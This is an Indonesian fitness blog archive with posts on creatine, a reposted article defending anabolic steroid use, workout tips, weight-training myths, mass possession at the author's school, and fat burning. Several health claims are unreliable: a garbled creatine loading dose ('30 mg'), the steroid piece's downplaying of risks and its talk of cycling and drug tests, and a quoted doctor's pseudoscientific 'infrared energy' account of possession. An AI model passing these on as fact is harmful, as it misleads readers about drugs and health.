Live your life

Mengenal Creatine

2012-02-10T06:34:00.000-08:00

Banyak penggemar olahraga angkat beban (fitness) yang bertanya apa sebenarnya fungsi dari creatine? Apa manfaat creatine? Bagaimana mengkonsumsi creatine dengan benar? dan sebagainya. Pada posting ini kita akan menemukan jawaban dari pertanyaan-pertanyaan tersebut.

Creatine adalah kombinasi dari beberapa asam amino yang secara spesifik membentuk fungsi tersendiri. Komponen pembentuk Creatine adalah glycine, agrinine, dan methionine. Tidak ada komponen lain yang dibutuhkan untuk membentuk Creatine.

Tubuh manusia secara alami memproduksi Creatine baik di hati, pankreas, dan ginjal. Creatine yang diproduksi dialirkan oleh darah ke otot. Begitu mencapai otot, creatine diubah menjadi phospocreatine(creatine phospate), yang akan menyumbang pada bahan bakar tubuh yang dikenal sebagai ATP (adenosine triphospate).

Pada saat kontraksi otot, banyak ATP yang kehilangan kandungan phospat-nya sehingga membentuk ADP (Adenine-Di Phospate) yang tidak dapat digunakan sebagai pembakaran. Dengan mengkonsumsi Creatine, kandungan phospat yang hilang digantikan untuk mengembalikan ADP menjadi ATP sehingga dapat digunakan untuk pembakaran yang efektif.

Sebagai perbandingan, kondisinya bisa dibayangkan seperti bensin untuk kendaraan yang memiliki oktan yang lebih tinggi.

Kita akan kekurangan creatine apabila melakukan kegiatan atau olahraga berat.

Manfaat mengkonsumsi suplemen creatine adalah mengembalikan kadar phospat tubuh sehingga bahan bakar tubuh dapat terbentuk dengan lebih optimal. (Lebih banyak energi untuk olahraga) Selain dapat mempertahankan kadar air pada otot, creatine juga menyumbang pada proses sintesa otot (pembentukan otot baru). Hal lain yang bermanfaat adalah pencegahan penyimpanan glukosa sebagai lemak. Dengan demikian akan lebih mudah untuk membentuk masa otot yang ramping. Dampak yang dapat dicapai dengan pengkonsumsian creatine adalah pembesaran massa otot.

Cara mengkonsumsi creatine monohydrate:

Untuk konsumsi normal, konsumsi 2-5g creatine sebelum dan setelah olahraga.

Untuk proses loading, (biasa digunakan untuk persiapan olaharaga berat binaraga atau olahraga berat lain) konsumsi 30 mg per hari pada 4 hari pertama. Dan untuk hingga 30 hari kedepan atau periode yg telah ditentukan kadar creatine dapat dijaga dengan mengkonsumsi 5 hingga 15gr per hari.

Penyerapan creatine terbaik adalah apabila dikonsumsi dengan minuman berbahan dasar karbohidrat (contoh: dextrose, juice yang tidak bersifat asam)

Pembelaan Tentang Pengunaan Steroid

2012-02-02T16:30:00.000-08:00

Iseng-iseng buka facebook, dapet note yang seperti ini.
Penulis memandang penggunaan steroid dari sisi yang berbeda dari para ahli kesehatan. Penggunaan steroid bisa memberi efek positif dan negatif kepada seseorang, tergantung bagaimana orang tersebut menggunakannya. Steroid tidak selamanya negatif!!! Yang jelas, membentuk otot secara natural atau dengan bantuan steroid adalah pilihan anda. Be wise :)
Maaf artikelnya masih dalam bahasa Inggris...

WHAT YOU REALLY NEED TO KNOW ABOUT ANABOLIC STEROIDS

Most Of What You Read In The Media About
Anabolic Drugs Is Inaccurate Or Exaggerated.
Following Are The Simple Facts.
By Bill Dobbins
DISCLAIMER:
This article discusses the nature and effects of anabolic steroids. It does not advocate the use of these substances but is presented for educational purposes only.
INTRODUCTION
The use of anabolic steroids without a doctor’s prescription and a legitimate medical use has been against the law for some time. Using steroids has been against the rules of sport for even longer. Athletic-enhancing drugs have been written about extensively in the popular press and been the subject of endless debate on television. Nonetheless, it is amazing how little most people---including many physicians, legislators and sports officials---actually know about what these drugs are, what they do and what their medical side effects really are.
How has this happened? Why has there been so much miscommunication---or even disinformation---disseminated regarding these drugs? If so much written and said has been untrue, why haven’t experts who know the truth stepped forward and attempted to set the record straight?
One reason is the fear of seeming to endorse steroid use by appearing not to condemn them with sufficient energy. Unfortunately, steroids have been so incredibly demonized in the media, their dangers and negative effects so exaggerated, that anyone who voices the opinion that they may not be as dangerous as made out to be (in many cases) or that the negative effects are not so terrible as advertised can seem to be acting as an apologist for these drugs.
MEDICAL McCARTHYISM
A good analogy to this can be drawn from the McCarthy "red-baiting" period of the early 1950s. They had names for people back then who took the position that, "Yes, Soviet Communism is a bad thing and ought to be guarded against, but I don’t really think the State Department is riddled with Communist agents. Those who failed to agree with the virulent anti-Communist position as advocated by the senator from Wisconsin ran the risk of being called fellow travelers, communist sympathizers, Soviet dupes and pinkoes.
The same sort of thing is likely to happen today to those who attempt to put the dangers of using anabolic steroids into some reasonable perspective. Which is one reason why medical scientists, who know better, are loathe to speak out against the exaggerated and often hysterical claims made against these drugs.
If they did speak up, what would these "experts" say? That steroids have some negative side effects, but are not as dangerous as made out to be by the media. Also, while there are some athletic advantages to their use, steroids are far less effective in enhancing performance than generally believed.
WHAT ARE ANABOLIC STEROIDS?
In simple terms, anabolic steroids are synthetic analogs of testosterone. Testosterone is a "male hormone" that is nonetheless found in both males and females, although the amount of testosterone in the female body tends to be only about 1/100th of that found in the male.
For purposes of discussion, hormones like this have two different effects on the body: an androgenic effect, which influences sexual characteristics; and an anabolic one, which affects such things as muscle mass and strength.
Anabolic steroids in general have been engineered so as to differ from testosterone by increasing the anabolic effect of the drugs while diminishing the androgenic aspect. Chemists have devised specific anabolic steroids with slightly different molecular structures so that each has more or less effect on such things as mass, strength, and endurance and to have higher or lower androgenic properties.
Anabolic steroids are also anti-inflammatories and have a positive effect on rehabilitation of injuries. Actually, these drugs are very closely related to cortisone, and have many of the same effects, both positive and negative.
WHAT ANABOLIC STEROIDS DO
Anabolic steroids, depending upon the particular drug being used, have a number of effects upon the body. Among other things they:
(1) increase the body’s ability to utilize protein, allowing an athlete to train with greater intensity without going into negative nitrogen balance (losing muscle mass);
(2) increase the ability to build muscle mass;
(3) increase the ability to build strength;
(4) increase the ability to build endurance;
(5) act as an anti-inflammatory, both helping to protect the body from injury and speeding up recovery after injury has occurred.
However, taking these drugs does not automatically produce the effects listed above. Far from it. None of these "athletic benefits" is achieved without a regimen of hard, consistent training, and even then the effects achieved may not be all that dramatic.
Contrary to public opinion, you can’t get bigger or stronger to any degree simply by taking a drug. Instead, what seems to be the case is that anabolic steroids allow athletes to train harder, longer and more often without becoming overtrained, and therefore allow them to derive benefit from this type of more intense workout regimen.
STEROIDS AND ATHLETIC ABILITY
Doctors and publications like the Physician’s Desk Reference have claimed for years that anabolic steroids produce no athletic benefits. Several generations of athletes have known this not to be true, which is why many have continued to use them despite the dangers to their careers of failing drug tests.
But the question remains as to exactly how much benefit can be derived from using anabolic drugs. And the answer is---a lot less than the public has been lead to believe.
The main components of athletic achievement are (1) good genetics, (2) hard training, (3) good coaching and (4) proper diet. An athlete who lacks any of these is not going to succeed because of taking some kind of anabolic drug. These chemicals just don’t do that much.
It’s hard to measure just how much benefit elite, well-trained athletes do gain from anabolic drugs when competing against each other. However, in comparing the lift totals in drug-tested and non-drug-tested powerlifting contests, it was noticed that the lifts done by older, more experienced and mature competitors were almost the same in both types of events, and the slightly more they lifted in non-tested contests might well be attributed to psychological factors (such as the possibility that they "felt" weaker because of not taking anabolics).
Younger, less-experienced weightlifters, on the other hand, performed significantly less well when drug-tested. This difference in performance in the two groups seems to indicate that anabolics don’t increase the ultimate potential of highly-trained athletes but might allow still-developing competitors whose abilities don’t yet approach their potential to work temporarily at a more advanced level.
WHAT ARE THE DANGERS OF STEROIDS?
In spite of all the warning from the medical community, athletes have been taking anabolic steroids, often in large amounts, since the early 1960s. Relatively few of them have suffered serious or life-threatening effects. But this is not to say that steroids are safe. Far from it. They are potent medications with a number of potentially harmful side-effects. For example:
In men, they include a short-term increase in the sex drive, followed by a suppression of natural testosterone output and potential shrinkage of the testes. Another common side-effect is gynecomastia (deposits of estrogen in the area of the nipple.
For women, a very dangerous side-effect is masculinization due to the androgenic effects of the drugs. This can include deepening of the voice, menstrual irregularities, development of facial hair, clitoral enlargement and even the appearance of male-pattern baldness.
Increased acne is a problem for both genders. Depending on the particular drug used, anabolic steroids can also increase aggression and irritability, cause changes in blood-pressure and blood chemistry (HDL levels, for example) and acne.
Using anabolic steroids is particularly dangerous for teenagers. In addition to interfering with the normal effect of hormones on a growing body, there can also be a premature of the epiphysis, the end of the bone, resulting in stunted growth.
STEROID DANGER FACTORS
How dangerous steroids might be is dependent on a number of factors:
(1) In what form they are taken.
(2) What dosages are taken.
(3) For how long a period they are taken.
(4) The age, gender and state of health of the user.
ORAL VS. INJECTABLE STEROIDS
Anabolic steroids are commonly taken in two ways: orally or by injection. Oral steroids tend to have the greatest number of side effects. When they are ingested, they have to pass through the digestive system and the liver in order to get into the bloodstream. They have to be designed so as to survive this process, and taken in sufficiently large amounts to insure that there is enough left afterwards to have an effect. Steroids taken in this form are subject to aggressive action by the liver, whose job it is in large part to remove such substances from the body. This puts a great deal of strain on the liver and, in some cases, this can result in significant liver damage.
Steroids taken by injection can be water-based or oil-based. Generally, the oil-based steroids have a longer half-life than those that are water-based (and much longer than the orals), making those the substances that most often show up in steroid tests. Because they are not designed to pass through the digestive system, as well as other technical reasons, injectable steroids tend to have a much less stressful effect on the liver.
WOMEN AND ANABOLIC STEROIDS
Studies have shown that the dangers to men from using steroids are more time related than dose related. That is, their bodies can cope with large amounts of these drugs for relatively short periods of time much better than smaller doses over an extended period of time.
This is why male athletes often "cycle" their steroid use, taking the drugs for a period of weeks and then going off them for a time before resuming their use.
The danger to women, on the other hand, is more dose related than time related. The reason is simple---even though the androgenic effect of anabolic steroids has been reduced considerably, it still functions in the body as a male hormone. If you introduce too much male hormone into the body of a woman you begin to transform her into a male. In sex-change procedures, hormone therapy always proceeds surgery.
Ironically, from one point of view it can be said that using anabolic steroids is actually safer for women than for men. The reason is that very low dosages give women, who have so relatively little male hormone in their bodies to start with, a considerable anabolic effect. They get a lot of result from very small amounts of steroids. On the other hand, overdose or abuse of anabolic steroids is much more dangerous for women, since these hormones in large quantities have an irreversible masculinizing effect.
Of course, for both men and women, one of the greatest dangers of using steroids - as demonstrated by the recent Olympic Games - is getting caught on a drug test.
THE EFFECTS OF PROHIBITION
Prohibition against the use of a substance generally involves censorship of information as to how to use that substance in the safest possible way. It also prevents the user from seeking the benefits of medical supervision. In that sense, drug prohibition, whatever it’s other benefits, always leads to increases in drug abuse.
In the majority of cases, athletes who decided to use anabolic substances in spite of the rules (and laws) against them end up having to self-medicate. In the past, when steroids were legal, a blood test might give a physician early warning as to problems with a patient using a given anabolic substance. That is usually no longer the case. Athletes often decide on their own what to take, what combination of drugs to take, how much and how often to take them. Or they rely on the advice of "steroid gurus" who usually have no medical training and do no testing or monitoring of side-effects.
Even drug-testing can lead to unforeseen complications. For example, it is clear that taking injectable forms of steroids is far less toxic to the system than ingesting the drugs in oral forms. But the injectable steroids are the ones that stay in the body the longest and show up most easily on the tests. The oral steroids, on the other hand, cycle much more quickly out of the body (which is one reason for their additional toxicity). Therefore, drug testing often encourages athletes to take more dangerous and more toxic forms of the drugs rather than less dangerous and less toxic forms in order to be able to pass the tests.
Besides, the majority of steroid users will never be in a position to be drug tested. They aren’t the elite athletes, but instead are the legions of wanna-bees in gyms or tracks around the world who simply aren’t good enough to ever ascend the ladder of athletic success to the level at which drug tests at given. Even at high schools, you may test the football team, but what about all those who are not good enough to make the team but dream of being bigger, stronger and faster, who want to impress their friends, and think that taking an anabolic drug will help them to achieve this? Youngsters like this will rarely, if ever, be subjected to a steroid test.

Tips Menjaga Motivasi Berolahraga

2012-02-02T15:53:00.000-08:00

Pernahkah Anda mencoba untuk memulai program latihan kebugaran atau olahraga, tetapi kemudian berhenti? Jika ya, Anda tidak sendirian. Banyak orang memulai program kebugaran, tetapi berhenti lantaran mereka bosan dan hasil yang diharapkan tidak kunjung datang.

Sebenarnya, Anda tidak perlu memutuskan sampai berhenti melakukan program kebugaran tersebut jika tahu cara menyiasatinya. Berikut adalah tujuh tips untuk membantu Anda tetap termotivasi melakukan aktivitas kebugaran dan olahraga.

1. Tetapkan tujuan
Mulailah dengan tujuan sederhana, setelah itu maju ke tahap janga panjang. Anda harus selalu mengingat akan tujuan yang ingin dicapai, dan buatlah itu menjadi suatu kenyataan. Seseorang akan menjadi sangat mudah frustrasi dan menyerah jika mempunyai tujuan yang terlalu ambisius.

2. Buat segalanya menyenangkan
Cari olahraga atau aktivitas yang Anda sukai. Program latihan akan berjalan lancar jika Anda melakukannya tanpa beban. Jika Anda tidak menikmati program latihan tertentu, jangan langsung memutuskan untuk berhenti. Akan tetapi, cobalah dengan sesuatu yang berbeda. Ingat, olahraga tidak harus membosankan, Anda bisa memulainya sesuai dengan hobi Anda.

3. Aktivitas fisik sebagai rutinitas harian
Banyak orang beralasan, sulit menemukan waktu luang untuk berolahraga. Waktu bukanlah alasan bagi Anda untuk tidak melakukan olahraga. Lakukan dengan cara yang sederhana, misalnya gunakan tangga (bukan lift) di tempat kerja dan mengayuh sepeda stasioner atau treadmill saat Anda menonton TV di malam hari.

4. Tulis rencana program latihan
Membuat rencana latihan olahraga secara teratur di atas kertas dapat membantu Anda tetap termotivasi. Mencatat apa yang sudah dilakukan, berapa lama berolahraga, dan bagaimana perasaan sesudahnya dapat membantu Anda untuk menilai apa saja kekurangan yang perlu Anda perbaiki.

5. Bergabung dengan teman
Anda sebaiknya tidak sendirian. Undang teman atau rekan kerja untuk bergabung dengan Anda ketika memutuskan untuk berolahraga. Melakukan kegiatan secara bersama-sama akan membuat Anda lebih bersemangat dan termotivasi.

6. Hadiahi diri Anda sendiri
Setiap melakukan sesi latihan, luangkan waktu beberapa menit untuk Anda merasakan betapa bermanfaatnya olahraga. Jenis imbalan internal ini dapat membantu Anda untuk membuat komitmen jangka panjang dalam melakukan olahraga secara teratur.

7. Bersikaplah fleksibel
Jika Anda terlalu sibuk bekerja di luar dan merasa tidak sanggup melakukan program latihan sesuai jadwal, ambillah satu atau dua hari untuk istirahat. Jangan memaksakan sesuatu yang sudah tidak mungkin dapat Anda lakukan. Yang terpenting adalah bagaimana Anda bisa kembali ke program latihan setelah merasa semuanya kembali baik.
Sumber: Kaskus

Latihan Untuk Pemula

2011-12-31T23:47:00.000-08:00

Hai semuanya....
Ini adalah postingan pertama di tahun 2012. Posting ini didasari atas hasil pengamatan saya, bahwa para pemula dalam fitness sering kali mengalami kebingungan dalam memilih latihan yang akan diambil. Hal ini berakibat pada pola latihan yang tidak jelas. Tentunya hal ini tidak akan memberi hasil yang optimal. Kali ini saya akan membahas dan merekomendasikan latihan-latihan apa saja yang sebaiknya diambil oleh para pemula saat memasuki gym.

1. Smith Machine Squat
Latihan ini merupakan latihan basic untuk memperkuat dan memperbesar otot paha. Latihan ini adalah latihan compound yang melibatkan banyak otot lain. Dengan terlibatnya banyak otot, maka tingkat "kerusakan sel" yang terjadi akan lebih optimal. Ini akan merangsang tubuh untuk memproduksi sel yang lebih besar dan lebih kuat. Latihan ini saya rekomendasikan bagi para pemula yang ingin menaikkan berat badan dengan cepat.

2. Crunch

Latihan ini adalah latihan basic untuk memperoleh perut six pack. Perlu diingat bahwa latihan ini akan memberikan hasil yang baik jika dilakukan bersama diet yang tepat.

3. Lat Pulldown

Latihan ini bertujuan untuk membentuk definisi otot punggung. Latihan ini membentuk otot punggung anda secara lengkap. Ingatlah untuk menurunkan setang pegangan sampai di tulang selangka anda. Jika tidak, kontraksi otot punggung tidak akan maksimal.

4. Smith Machine Benchpress

Latihan ini adalah latihan terbaik untuk membentuk otot dada bagi pemula. Latihan ini dapat dikombinasikan dengan mengubah kemiringan dari bench. Anda bisa melakukan incline benchpress, flat benchpress, dan decline benchpress. Lakukan latihan ini dengan perlahan untuk memaksimalkan kontraksi otot pectoral. Latihan ini juga secara tidak langsung akan membentuk otot bahu dan tricep anda

5. Bench Dips

Latihan ini bertujuan untuk membentuk otot tricep anda. Walaupun ada latihan lain, tapi latihan inilah yang bisa membentuk dengan cepat dan juga termudah dilaksanakan oleh para pemula.

6. Concentration Curl

Nah, kalau latihan ini adalah latihan untuk membentuk otot biceps anda. Letakkan siku sedikit di bawah paha anda. Jangan tepat pada paha. Latihan ini merupakan latihan isolasi, yang hanya melibatkan otot biceps. Tambahlah beban secara bertahap untuk setiap set.

Ingatlah, bahwa semua latihan di atas akan memberikan hasil yang optimal jika latihan dilaksanakan secara teratur, pola diet yang tepat dan juga istirahat yang cukup.

Mitos tentang Angkat Beban Pada Wanita

2011-12-23T18:49:00.000-08:00

Mitos tentang efek latihan beban pada kaum perempuan sepertinya tidak pernah berubah dari jaman ke jaman. Berikut ini saya sajikan beberapa mitos tentang efek latihan beban pada wanita.
1. Dengan berlatih beban, anda akan menjadi kekar dan berotot

Fakta ilmiah menunjukkan bahwa hormon yang bertanggung jawab terhadap perubahan ukuran otot adalah hormon testosteron. Kaum perempuan, tidak memiliki hormon testosteron dalam jumlah yang cukup untuk menghasilkan otot dalam ukuran yang besar. Jadi, secara natural perempuan tidak mungkin menjadi kekar dan berotot karena latihan beban. Mungkin sebagian besar dari kita berpandangan bahwa kalau berlatih beban, maka badan seorang wanita akan menjadi seperti pada gambar di atas. Hal ini salah, badan perempuan yang seperti di atas akan dapat diperoleh jika ia menggunakan anabolik steroid bersama obat-obatan lainnya.
2. Latihan beban akan membuat ukuran payudara anda membesar
Harus kita garis bawahi bahwa payudara perempuan adalah jaringan yang terbentuk dari lemak, sehingga tidak mungkin kita bisa memperbesar ukuran payudara dengan berlatih beban.
3. Latihan beban akan membuat anda kaku
Jika kita melakukan latihan beban dengan benar, maka hal sebaliknya akan terjadi. Fleksibilitas otot akan semakin baik, karena kemampuan otot untuk meregang akan semakin baik jika kita berlatih beban.
4. Jika kita berhenti latihan beban, maka otot kita akan menjadi lemak dan badan kita menjadi gemuk
Ini adalah pandangan yang sering saya dengar di kalangan kaum perempuan. Faktanya jika orang berhenti latihan beban, akan diikuti oleh berkurangnya disiplin dalam diet. Akibatnya metabolisme tubuh akan melambat dan akan diikuti dengan meningkatnya timbunan lemak dalam tubuh. Bukan ototnya yang berubah menjadi lemak, tetapi timbunan lemak yang bertambah akibat metabolisme yang melambat.
5. Latihan beban mengubah lemak menjadi otot
Jika anda pernah belajar kimia dan mempercayai hal ini, maka anda tidak belajar kimia dengan baik. Otot dan lemak adalah jaringan yang sangat berbeda. Otot berkembang jika kita melakukan latihan beban, diet dan istirahat dengan baik
6. Wanita hanya perlu berlatih kardio dan sit up untuk bisa mendapatkan bentuk badan yang ideal
Faktanya, kita tidak bisa memilih lemak di bagian tubuh mana yang akan kita bakar, karena itu kita tidak dapat memfokuskan diri hanya dengan melatih bagian tertentu dari tubuh. Untuk mengoptimalkan pembakaran lemak, kita harus melakukan latihan beban. Lemak akan dibakar jika kadar glikogen sudah rendah. Untuk bisa membakar glikogen, latihan yang paling efektif adalah latihan beban.
7. Perempuan cukup mengkonsumsi fatburner, maka lemak dalam tubuh akan terkikis
Ini pendapat yang salah, fatburner hanya berfungsi mengoptimalkan proses metabolisme tubuh. Jika anda tidak melakukan aktivitas berolahraga, maka fatburner tidak akan melakukan apapun. Fatburner hanya kompor, yang membakar sesuatu jika diletakkan di atasnya

Mitos dan Fakta dalam Dunia Fitness

2011-12-18T18:18:00.000-08:00

Sebelum kita menggeluti dunia fitness, kita sering mendengar mitos-mitos yang berkaitan dengan dunia fitness. Mitos tersebut bisa menghalangi niat kita untuk berolah raga, bisa juga menambah semangat kita untuk menggeluti dunia fitness. Jika kita perhatikan dengan baik, sebagian besar mitos tersebut tidak sesuai dengan fakta di lapangan maupun fakta ilmiah. Kali ini saya akan menampilkan bebrapa mitos yang sering berkembang di dunia fitness, beserta fakta ilmiahnya.

Mitos : Aerobik lebih baik untuk membentuk tubuh daripada latihan beban
Fakta : Untuk mentransformasi tubuh anda, anda harus melakukan latihan beban

Mitos: Jika anda sudah berolahraga, makan apa pun tidak menjadi masalah
Fakta: Jika anda sudah berolah raga, apa pun yang akan anda makan harus diperhatikan dengan baik

Mitos: Wanita yang berlatih angkat beban akan menjadi gempal dan berotot
Fakta: Latihan beban membantu wanita menciptakan tubuh yang tidak belemak dan lentur

Mitos: Latihan beban hanya untuk atlet muda
Fakta: Orang-orang dari segala usia dapat melakukan latihan beban dan memperoleh hasil yang optimal

Mitos: Otot tumbuh saat anda berolahraga. Kondisi saat latihan adalah fase katabolik
Fakta: Otot tumbuh saat anda beristirahat dan tidur. Keadaan ini disebut fase anabolik

Mitos: Sejumlah set dan pengulangan akan memberi hasil yang optimal
Fakta: Latihan dengan intensitas yang tinggi akan memberikan hasil terbaik

Mitos: Makan yang benar adalah makan 3 kali sehari
Fakta: Makan 6 porsi bergizi setiap hari merupakan makan yang benar

Mitos: Orang- orang yang makan berlebihan tidak memiliki tekad yang kuat
Fakta: makan berlebihan adalah insting alami manusia

Mitos: Pola makan tinggi karbohidrat dan rendah lemak akan memberikan hasil terbaik
Fakta: orang mengalami kegemukan karena overdosis karbohidrat

Mitos: Anda harus menghitung kalori yang anda makan
Fakta: Anda harus menghitung berapa porsi yang anda makan

Mitos: Jika kita sudah makan dengan benar, kita tidak memerlukan suplemen
Fakta: Tidak semua kebutuhan tubuh bisa dipenuhi dengan makanan yang kita makan. untuk itu kita perlu mengkonsumsi suplemen

Mitos: Anda perlu minum saat merasa haus
Fakta: Tubuh perlu lebih banyak air daripada yang sanggup disampaikan lewat pesan haus

Mitos: Anda harus makan dengan sempurna setiap saat
Fakta: Tidak ada makanan yang sempurna

Kesurupam Masal, Sebuah Fenomena di Dunia Ke Tiga

2011-11-14T17:29:00.000-08:00

Kemarin, di sekolah saya terjadi kesurupan masal yang melibatkan sekitar 12 orang siswa putri. Peristiwa ini membuat sekolah menjadi perhatian media lokal dan nasional. Bahkan dinas pendidikan kabupaten pun turun ke sekolah untuk meninjau kejadian ini.

Kesurupan masal, apakah ini fenomena medis atau mistis? Mengapa hanya terjadi di negara-negara dunia ke tiga yang mayoritas penduduknya berada di bawah garis kemiskinan? Untuk itu saya mencoba mencari jawabannya, dan inilah hasilnya:

Kesurupan dalam istilah medisnya disebut dengan Dissociative Trance Disorder (DTD). Menurut laporan Eastern Journal of Medicine, kasusnya lebih banyak dijumpai di negara dunia ketiga dan negara-negara bagian timur daripada bagian barat.

Di India yang kultur dan budayanya mirip Indonesia, kesurupan atau possesion syndrome atau possesion hysterical merupakan bentuk disosiasi yang paling sering ditemukan. Angka kejadiannya kurang lebih 1 hingga 4 persen dari populasi umum.

Dunia kedokteran, khususnya psikiatri mengakui fenomena kesurupan sebagai suatu kondisi yang ditandai oleh perubahan identitas pribadi. Banyak orang mengatakan kesurupan disebabkan oleh suatu roh atau kekuatan, namun dalam dunia medis hal-hal seperti itu tidak dikenal.

Beberapa pakar psikiater menyebutkan tekanan sosial dan mental yang masuk ke dalam alam bawah sadar sebagai biang penyebab kesurupan. Banjir, tsunami, gizi buruk, ketidakadilan, upah kecil, kesenjangan yang sangat mencolok dan lainnya adalah beberapa contoh tekanan tersebut.

Seperti dikutip dari Psychnet, Senin (22/2/2010), ada beberapa gejala yang biasanya menyerang orang kesurupan diantaranya:

Bertindak lepas kontrol dan berbeda dari biasanya
Hilang kesadaran akan sekitarnya dan tidak sadar dirinya sendiri
Sulit membedakan kenyataan atau fantasi pada waktu yang sama
Perubahan nada suara
Kesusahan berkonsentrasi
Kadang-kadang hilang ingatan

Kondisi seperti itu dipengaruhi oleh banyak faktor seperti spiritual, sosial, psikologi dan lainnya. Dengan melakukan screening dan pemeriksaan secara keseluruhan, faktor penyebabnya pun bisa diketahui.

Sementara kesurupan massal yang belakangan ini sering sekali terjadi sebenarnya pada awalnya merupakan kesurupan individual dan kemudian berubah menjadi massal dikarenakan orang lain yang melihat peristiwa tersebut menjadi tersugesti.

Gejala-gejala beberapa waktu sebelum kesurupan antara lain kepala terasa berat, badan dan kedua kaki lemas, penglihatan kabur, badan terasa ringan, dan ngantuk.

Perubahan ini biasanya masih disadari oleh subjek, tetapi setelah itu ia tiba-tiba tidak mampu mengendalikan dirinya, melakukan sesuatu di luar kemampuan dan beberapa di antaranya merasakan seperti ada kekuatan di luar yang mengendalikan dirinya.

Mereka yang mengalami kesurupan merasakan bahwa dirinya bukanlah dirinya lagi, tetapi ada suatu kekuatan yang mengendalikan dari luar. Keadaan saat kesurupan ada yang menyadari sepenuhnya, ada yang menyadari sebagian, dan ada pula yang tidak menyadari sama sekali.

Berdasarkan jenis kelamin, perempuan mempunyai risiko lebih besar untuk kesurupan dibandingkan laki-laki. Hal ini mungkin karena perempuan lebih bersifat gampang dipengaruhi dibanding laki-laki.

Namun, meski kesurupan tergolong sebagai sebuah kondisi medis, tapi faktor mental yang terganggu bisa mengundang energi asing masuk dalam tubuh dan menyebabkan gejala kesurupan.

“Kesurupan itu artinya aura tubuh sedang dipengaruhi energi asing, khususnya energi infra merah yang tidak dapat dilihat kasat mata oleh manusia,” kata Dr Erwin Kusuma, SpKJ, psikiater dari RSPAD Gatot Subroto Jakarta saat dihubungi detikhealth, Senin (22/2/2010).

Menurut Dr Erwin, sesuatu yang punya energi itu artinya masih berjiwa. “Roh sudah tidak berenergi karena sudah tidak memiliki jiwa, tapi makhluk halus belum tentu. Banyak makhluk halus yang masih mengeluarkan materi dan energi inframerah,” jelasnya.

Sedikit berbeda dengan pakar lainnya, Dr Erwin percaya bahwa penyebab kesurupan berasal dari mental yang dimasuki energi asing dan tidak ada hubungannya dengan masalah-masalah fisik seperti kurang gizi dan lainnya.

Energi asing menurut Dr Erwin bisa berasal dari lingkungan sekitar dan bisa dicek menggunakan foto aura. “Jadi kesurupan bukan berarti ada gangguan di otaknya tapi lebih pada gangguan di mentalnya. Ibarat komputer, otak itu hanya printer-nya saja tapi yang mempengaruhinya adalah jiwa,” ujarnya.

Menurut dokter yang membuka praktik di kawasan Cempaka Putih Jakarta ini, kesurupan bukan hanya sebuah peristiwa fisik tapi lebih pada penurunan daya tahan mental. “Stres dan gangguan lainnya mungkin bisa mempengaruhi tapi itu bukan faktor utamanya. Penyebab utamanya itu karena mentalnya memang sedang tidak kuat,” jelasnya.

Kesurupan biasanya berbeda dengan histeria. Jika histeria hanya mengeluarkan teriakan-teriakan dan tidak mengubah jenis suara, tapi kesurupan bisa mengubah pita suara. “Bisa jadi suaranya berubah menjadi suara laki-laki padahal ia seorang perempuan atau juga sebaliknya,” kata Dr Erwin.

Banyak orang yang mendatangi ahli spiritual atau orang pintar untuk menyembuhkan orang kesurupan. Memang tidak ada salahnya karena setiap orang sebenarnya punya kemampuan mempengaruhi kejiwaan seseorang yang bermasalah.

Namun sebenarnya hanya dokter yang berkompetensi saja yang benar-benar bisa mengatasi gejala kejiwaan dengan sempurna. Hipnoterapi adalah salah satu bentuk terapi yang biasa digunakan para psikiater untuk untuk meningkatkan ketahanan mental dan mengatasi gangguan kesurupan.

“Yang harus dilakukan adalah memperkuat benteng aura kejiwaan agar mentalnya kuat dan tidak bisa dimasuki energi asing yang negatif,” ujar Dr Erwin

Dr Erwin menambahkan, orang dengan gangguan mental biasanya akan terlihat dari IQ-nya yang rendah, cara berbicara serta penampilannya yang beda. Selain itu, tenggorokannya juga sering merasa kering dan selalu ingin minum terus, tangannya basah dan kakinya terus goyang-goyang.

Selain dengan terapi kejiwaan atau hipnoterapi, psikiater juga biasanya melakukan pengobatan dengan jalan farmakoterapi (obat).

Seperti dikutip dari Psychnet, Senin (22/2/2010), obat-obatan yang biasa digunakan untuk mengatasi masalah kejiwaan adalah obat jenis antipsychotics, antara lain:

Chlorpromazine (Thorazine)
Thioridazine (Mellaril)
Trifluoperazine (Stelazine)
Thiothixene (Navane)
Fluphenazine (Prolixin)
Haloperidol (Haldol)

Saya pribadi berpendapat ini adalah masalah medis, bukan masalah mistis.
(sumber: holistikasaya)

Cara Efektif Membakar Lemak

2011-11-04T03:22:00.000-07:00

Masalah utama yang dihadapi manusia modern adalah obesitas. Obesitas atau kegemukan ini akan memicu timbulnya berbagai macam penyakit, seperti serangan jantung, Diabetes atau kencing manis, dan lain-lain. Karena itulah maka banyak orang yang ingin menurunkan kadar lemak di dalam tubuhnya.
Selain ingin menurunkan kadar lemak dan air di dalam tubuh, banyak orang juga memimpikan memiliki tubuh yang bagus dan atletis. Penurunan kadar lemak dan air di dalam tubuh dilakukan dengan dua cara yaitu dengan diet dan juga berolahraga. Salah satu latihan yang efektif dalam mengurangi kadar lemak adalah latihan cardio. Tetapi apakah dengan melakukan latihan cardio saja kadar lemak di badan akan turun? jawabannya adalah tidak.

Sebenarnya hampir semua olahraga bisa membakar lemak, asalkan kita bisa menjaga detak jantung kita berada pada angka 65% dari detak jantung maksimum. Latihan cardio dapat membakar lemak dengan baik, harus diingat bahwa lemak adalah cadangan energi bagi tubuh sehingga lemak tidak bisa langsung dibakar saat mulai olahraga. Anda harus membakar energi yang tersedia secara instan terlebih dahulu, yaitu karbohidrat.
Untuk bisa membakar karbohidrat, maka latihan yang paling efektif adalah latihan beban. Dengan latihan beban terlebih dahulu, maka energi karbohidrat akan dibakar terlebih dahulu. Setelah latihan beban, barulah dilanjutkan dengan latihan cardio. Pada fase inilah dilakukan pembakaran lemak, karena energi instan sudah digunakan.

Harus diingat bahwa latihan cardio minimal dilakukan 10 menit.
Untuk mendapatkan hasil maksimum, anda juga dapat melakukan metode sebagai berikut:
Jalan cepat selama 1 menit
lalu lari sprint selama 30 detik,
lalu jalan cepat lagi selama 1 menit
demikian seterusnya sampai 10 menit. Dijamin anda akan kelelahan.
Latihan tersebut akan lebih efektif jika dilakukan dengan treadmill atau dengan static bicycle.
Selamat berlatih

Penggunaan Aromaterapi Berbahaya Bagi Kesehatan?

2011-11-02T04:25:00.000-07:00

Saat ini, penggunaan aromaterapi semakin merebak di Indonesia terutama di spa. Banyak yang mengklaim bahwa aroma terapi bisa memberi banyak manfaat bagi kesehatan. Apakah itu benar? atau hanya sebuah jargon bohong yang digunakan untuk mendongkrak popularitas layanan aromaterapi?

